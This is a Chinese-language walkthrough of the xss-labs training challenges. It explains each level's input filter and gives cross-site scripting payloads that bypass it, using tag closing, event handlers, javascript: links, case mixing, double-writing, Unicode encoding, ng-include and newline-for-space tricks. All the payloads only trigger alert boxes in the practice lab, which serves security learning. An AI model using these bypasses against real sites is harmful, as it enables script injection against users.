xss-labs
level2
先用基础payload:
1 | <script>alert(1)</script> |

查看网页源码:

说明服务端对用户输入做了转义(< 变成了 <)
查看题目源代码:

发现
1 | htmlspecialchars($str) |
能将一些特殊的 HTML 字符转换为 HTML 实体
| 字符 | 转换为 |
|---|---|
& |
& |
< |
< |
> |
> |
" |
" |
' |
' (当 ENT_QUOTES 被设置时) |
|
|
我们可以直接闭合input标签进行绕过
1 | "><script>alert(1)</script> |
level3
还是先用:
1 | <script>alert(1)</script> |

查看网页源代码:

发现表单内的和h2标签的都被转义了
查看源代码:
1 | echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> |
单引号虽然存在实体&apos但是不被转义(未设置ENT_QUOTES),HTML5中预留但是也不推荐使用
先闭合value,再引入鼠标事件的属性(最常与 <input>、<select> 和 <a> 标签一起使用):
onclick onfocus onmouseover onmouseout
再闭合javascript伪协议来执行
1 | ' onclick=javascript:alert(1) ' //点击input标签时 |
总结:onfocus可以绕过html实体化(即<>号的过滤)
level5
依旧<script>alert(1)</script>开局,script变成scr_ipt,再试试鼠标事件,on变成o_n

源代码:

过滤了js的标签还有onfocus事件,虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入
这里可以使用<a>标签的href属性
payload:
1 | "><a href=javascript:alert(1)>1</a><" |
点击链接就可以了

level6
这题替换的关键字比上题多,但是没有添加小写转化函数,我们可以采用大小写绕过

level7

不难发现,这里面进行了小写转化,将检测出来的on,script,href,src和data给删掉了,但是我们可以利用双写来绕过
比如下面这个payload:
1 | "><scriscriptpt>alert(1)</scriscriptpt> |
level8

是把传入的字符串进行转小写之后进行一系列过滤操作,最后将字符写入a标签的href属性中,跳转链接
我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议
1 | javascript:alert() |

利用在线工具进行Unicode编码后得到
1 | javascript:alert() |
总结: href属性自动解析Unicode编码
level9

下面多了个strpos()函数的验证,输入字符串必须包含http://
payload1:
将http://用注释符注释掉否则会执行不了无法弹窗
1 | javascript:alert()/* http:// */ |
payload2:
将http://写在alert内
1 | javascript:alert('http://') |
总结:插入指定内容(本关是http://)绕过检测
level10

这里有隐藏的传参方法,如果没有后端代码,就查看页面源代码一个一个测,这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签,但是我们还能用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload:
1 | ?t_sort=" onfocus=javascript:alert() type="text |
这里input标签内将会出现两个type属性,浏览器通常会判定第一个出现的值作为最终的值
level11

先看参数t_sort,想通过覆盖type属性的值就要闭合双引号,就会被转义,是行不通的,那就通过t_ref参数,修改ref头来进行xss

level15

其中:
1 | <span class="ng-include:'.htmlspecialchars($str).'"> |
ng-include类似于php的文件包含
ng-include 指令用于包含外部的 HTML文件,包含的内容将作为指定元素的子节点,ng-include 属性的值可以是一个表达式,返回一个文件名,默认情况下,包含的文件需要包含在同一个域名下
特别值得注意的几点如下:
- ng-include,如果单纯指定地址,必须要加引号
- ng-include,加载外部html,script标签中的内容不执行
- ng-include,加载外部html中含有style标签样式可以识别
- ng-inclue,记载外部html中的link标签可以加载
我们先试试看包涵第一关,构建payload:
1 | ?src='/level1.php' |

注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的
1 | ?src='level1.php?name=<a href='javascript:alert(1)'>xss</a>'//错误的,自己看着点单双引号 |
总结:ng-include文件包涵,可以无视html实体化
level16

将script、 、/转化为空格的html实体化形式,可以用回车的URL编码%0a代替空格绕过,再配合上不用/的<img>、<svg>等标签
payload:
1 | ?keyword=<img%0asrc=1%0aonerror=alert(1)> |
参考:
XSS-potatowo